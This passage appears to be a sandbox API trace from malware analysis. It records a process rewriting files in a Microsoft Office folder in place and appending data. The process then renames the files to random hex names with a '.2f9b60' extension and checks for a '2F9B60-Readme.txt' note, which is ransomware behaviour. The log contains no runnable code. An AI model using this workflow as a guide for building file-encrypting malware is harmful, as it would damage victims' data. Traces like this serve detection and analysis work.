Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x6fd8dece [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x2ea87b39 [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x41e62415 [0142.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0142.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0142.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0142.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0142.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0142.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059740 [0142.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0142.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423100b0 [0142.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42313cc0 [0142.400] ReadFile (in: hFile=0x1f00, lpBuffer=0x423100b0, nNumberOfBytesToRead=0x31b, lpNumberOfBytesRead=0x3c67f890, lpOverlapped=0x0 | out: lpBuffer=0x423100b0*, lpNumberOfBytesRead=0x3c67f890*=0x31b, lpOverlapped=0x0) returned 1 [0142.400] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.400] WriteFile (in: hFile=0x1f00, lpBuffer=0x42313cc0*, nNumberOfBytesToWrite=0x31b, lpNumberOfBytesWritten=0x3c67f894, lpOverlapped=0x0 | out: lpBuffer=0x42313cc0*, lpNumberOfBytesWritten=0x3c67f894*=0x31b, lpOverlapped=0x0) returned 1 [0160.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a13a0 [0160.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a13d0 [0160.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a13d0) returned 1 [0160.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42313cc0) returned 1 [0160.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423100b0) returned 1 [0160.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0160.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0160.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a13d0 [0160.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059740 [0160.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce599b0 [0160.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1400 [0160.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1400) returned 1 [0160.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a1400 [0160.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1430 [0160.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1460 [0160.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1460) returned 1 [0160.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce599b0) returned 1 [0160.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0160.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42055930 [0160.674] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.674] WriteFile (in: hFile=0x1f00, lpBuffer=0x42055930*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3c67f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42055930*, lpNumberOfBytesWritten=0x3c67f9b0*=0x100, lpOverlapped=0x0) returned 1 [0165.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff070 [0165.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff070) returned 1 [0165.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0165.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff070 [0165.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff040 [0165.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff040) returned 1 [0165.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x204ff040 [0165.370] sprintf (in: _Dest=0x204ff040, _Format="%c%c" | out: _Dest="e5") returned 2 [0165.370] sprintf (in: _Dest=0x204ff042, _Format="%c%c" | out: _Dest="89") returned 2 [0165.370] sprintf (in: _Dest=0x204ff044, _Format="%c%c" | out: _Dest="7a") returned 2 [0165.370] sprintf (in: _Dest=0x204ff046, _Format="%c%c" | out: _Dest="3d") returned 2 [0165.370] sprintf (in: _Dest=0x204ff048, _Format="%c%c" | out: _Dest="f2") returned 2 [0165.371] sprintf (in: _Dest=0x204ff04a, _Format="%c%c" | out: _Dest="26") returned 2 [0165.371] sprintf (in: _Dest=0x204ff04c, _Format="%c%c" | out: _Dest="6a") returned 2 [0165.371] sprintf (in: _Dest=0x204ff04e, _Format="%c%c" | out: _Dest="0c") returned 2 [0165.371] sprintf (in: _Dest=0x204ff050, _Format="%c%c" | out: _Dest="05") returned 2 [0165.371] sprintf (in: _Dest=0x204ff052, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.371] sprintf (in: _Dest=0x204ff054, _Format="%c%c" | out: _Dest="d7") returned 2 [0165.371] sprintf (in: _Dest=0x204ff056, _Format="%c%c" | out: _Dest="9f") returned 2 [0165.371] sprintf (in: _Dest=0x204ff058, _Format="%c%c" | out: _Dest="23") returned 2 [0165.371] sprintf (in: _Dest=0x204ff05a, _Format="%c%c" | out: _Dest="30") returned 2 [0165.371] RtlInitAnsiString (in: DestinationString=0x3c67fa28, SourceString="e5897a3df2266a0c05c9d79f2330" | out: DestinationString="e5897a3df2266a0c05c9d79f2330") [0165.371] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c67f9f8, SourceString="e5897a3df2266a0c05c9d79f2330", AllocateDestinationString=1 | out: DestinationString="e5897a3df2266a0c05c9d79f2330") returned 0x0 [0165.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059290 [0165.372] RtlFreeAnsiString (AnsiString="e") [0165.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff040) returned 1 [0165.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff070) returned 1 [0165.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055930) returned 1 [0165.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1400) returned 1 [0165.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1430) returned 1 [0165.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a13d0) returned 1 [0165.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a13a0) returned 1 [0165.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0a0) returned 1 [0165.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff160) returned 1 [0165.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0165.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x42c306d0 [0165.375] wcscat (in: _Dest=0x42c306d0, _Source="e5897a3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3" [0165.375] wcscat (in: _Dest=0x42c306d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3.2f9b60" [0165.375] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3.2f9b60", NtPathName=0x3c67f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e5897a3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cbe0 [0165.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.377] NtQueryInformationFile (in: FileHandle=0x1f00, IoStatusBlock=0x3c67fa38, FileInformation=0x3c67fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c67fa38, FileInformation=0x3c67fa48) returned 0x0 [0165.378] NtSetInformationFile (FileHandle=0x1f00, IoStatusBlock=0x3c67fa38, FileInformation=0x3c67fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0165.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.380] FlushFileBuffers (hFile=0x1f00) returned 1 [0166.279] CloseHandle (hObject=0x1f00) returned 1 [0203.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0650 [0203.264] wcscpy (in: _Dest=0x202b0650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0203.264] wcscat (in: _Dest=0x202b0650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0203.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0203.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0650) returned 1 [0203.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af7c0) returned 1 Thread: id = 2198 os_tid = 0x1664 [0140.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 0x20 [0140.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG", dwFileAttributes=0x20) returned 1 [0140.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f88 [0142.253] GetFileSizeEx (in: hFile=0x1f88, lpFileSize=0x3b6dfa60 | out: lpFileSize=0x3b6dfa60*=781) returned 1 [0142.253] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x309, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.253] ReadFile (in: hFile=0x1f88, lpBuffer=0x3b6df9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b6dfa28, lpOverlapped=0x0 | out: lpBuffer=0x3b6df9e0*, lpNumberOfBytesRead=0x3b6dfa28*=0x4, lpOverlapped=0x0) returned 1 [0142.267] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fecb0 [0142.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed40 [0142.267] NtQuerySystemTime (in: CurrentTime=0x3b6df920 | out: CurrentTime=0x3b6df920*=132462177475054000) returned 0x0 [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0xe7d7f71 [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x260ffad [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x59f63bcb [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x4241e9fe [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x5c5cf90a [0142.267] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x626946d6 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x7d00ce4d [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x4e3f1a77 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x917477c [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x364a6020 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x52344c7b [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x474c1d56 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x35f17e48 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x39d9e43a [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x3de8887a [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x7efcc9b3 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x68e3fb1f [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x5ca70634 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x2e75b6e3 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x575d8bde [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x36e8c7a0 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x382755bb [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x745a4707 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x615a91ea [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x2bf35597 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x149904aa [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x565c50d6 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x52635459 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x28b38be8 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x637dd964 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x2c2ef3d6 [0142.268] RtlRandomEx (in: Seed=0x3b6df910 | out: Seed=0x3b6df910) returned 0x7870b79c [0142.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed70 [0142.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0142.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feda0 [0142.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0142.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed40) returned 1 [0142.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059790 [0142.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0142.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422ae530 [0142.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422b2140 [0142.279] ReadFile (in: hFile=0x1f88, lpBuffer=0x422ae530, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x3b6df910, lpOverlapped=0x0 | out: lpBuffer=0x422ae530*, lpNumberOfBytesRead=0x3b6df910*=0x30d, lpOverlapped=0x0) returned 1 [0142.279] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.279] WriteFile (in: hFile=0x1f88, lpBuffer=0x422b2140*, nNumberOfBytesToWrite=0x30d, lpNumberOfBytesWritten=0x3b6df914, lpOverlapped=0x0 | out: lpBuffer=0x422b2140*, lpNumberOfBytesWritten=0x3b6df914*=0x30d, lpOverlapped=0x0) returned 1 [0143.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0143.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0143.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0143.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422b2140) returned 1 [0143.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422ae530) returned 1 [0143.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0143.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0143.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced6bd0 [0143.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059790 [0143.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867e40 [0143.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0143.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced6f60 [0143.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0143.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0143.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0143.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0143.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x169a20 [0143.368] SetFilePointerEx (in: hFile=0x1f88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.368] WriteFile (in: hFile=0x1f88, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3b6dfa30, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x3b6dfa30*=0x102, lpOverlapped=0x0) returned 1 [0143.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec80 [0143.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec80) returned 1 [0143.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0143.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec80 [0143.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0143.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0143.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x204fec50 [0143.596] sprintf (in: _Dest=0x204fec50, _Format="%c%c" | out: _Dest="7e") returned 2 [0143.596] sprintf (in: _Dest=0x204fec52, _Format="%c%c" | out: _Dest="b4") returned 2 [0143.596] sprintf (in: _Dest=0x204fec54, _Format="%c%c" | out: _Dest="fb") returned 2 [0143.596] sprintf (in: _Dest=0x204fec56, _Format="%c%c" | out: _Dest="3b") returned 2 [0143.596] sprintf (in: _Dest=0x204fec58, _Format="%c%c" | out: _Dest="ff") returned 2 [0143.596] sprintf (in: _Dest=0x204fec5a, _Format="%c%c" | out: _Dest="6f") returned 2 [0143.596] sprintf (in: _Dest=0x204fec5c, _Format="%c%c" | out: _Dest="43") returned 2 [0143.597] sprintf (in: _Dest=0x204fec5e, _Format="%c%c" | out: _Dest="a3") returned 2 [0143.597] sprintf (in: _Dest=0x204fec60, _Format="%c%c" | out: _Dest="df") returned 2 [0143.597] sprintf (in: _Dest=0x204fec62, _Format="%c%c" | out: _Dest="6d") returned 2 [0143.597] sprintf (in: _Dest=0x204fec64, _Format="%c%c" | out: _Dest="79") returned 2 [0143.597] sprintf (in: _Dest=0x204fec66, _Format="%c%c" | out: _Dest="2c") returned 2 [0143.597] sprintf (in: _Dest=0x204fec68, _Format="%c%c" | out: _Dest="16") returned 2 [0143.597] sprintf (in: _Dest=0x204fec6a, _Format="%c%c" | out: _Dest="24") returned 2 [0143.597] sprintf (in: _Dest=0x204fec6c, _Format="%c%c" | out: _Dest="2e") returned 2 [0143.597] sprintf (in: _Dest=0x204fec6e, _Format="%c%c" | out: _Dest="95") returned 2 [0143.597] RtlInitAnsiString (in: DestinationString=0x3b6dfaa8, SourceString="7eb4fb3bff6f43a3df6d792c16242e95" | out: DestinationString="7eb4fb3bff6f43a3df6d792c16242e95") [0143.597] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b6dfa78, SourceString="7eb4fb3bff6f43a3df6d792c16242e95", AllocateDestinationString=1 | out: DestinationString="7eb4fb3bff6f43a3df6d792c16242e95") returned 0x0 [0143.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059d30 [0143.597] RtlFreeAnsiString (AnsiString="7") [0143.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0143.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec80) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169a20) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0143.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fecb0) returned 1 [0143.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed70) returned 1 [0143.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feda0) returned 1 [0143.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205077d0 [0143.599] wcscat (in: _Dest=0x205077d0, _Source="7eb4fb3b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b" [0143.599] wcscat (in: _Dest=0x205077d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b.2f9b60" [0143.599] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b.2f9b60", NtPathName=0x3b6dfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\7eb4fb3b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1ce22320 [0143.599] NtSetInformationFile (FileHandle=0x1f88, IoStatusBlock=0x3b6dfaf0, FileInformation=0x1ce22320, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0143.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22320) returned 1 [0143.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053af0) returned 1 [0143.786] NtQueryInformationFile (in: FileHandle=0x1f88, IoStatusBlock=0x3b6dfab8, FileInformation=0x3b6dfac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b6dfab8, FileInformation=0x3b6dfac8) returned 0x0 [0143.786] NtSetInformationFile (FileHandle=0x1f88, IoStatusBlock=0x3b6dfab8, FileInformation=0x3b6dfac8, Length=0x28, 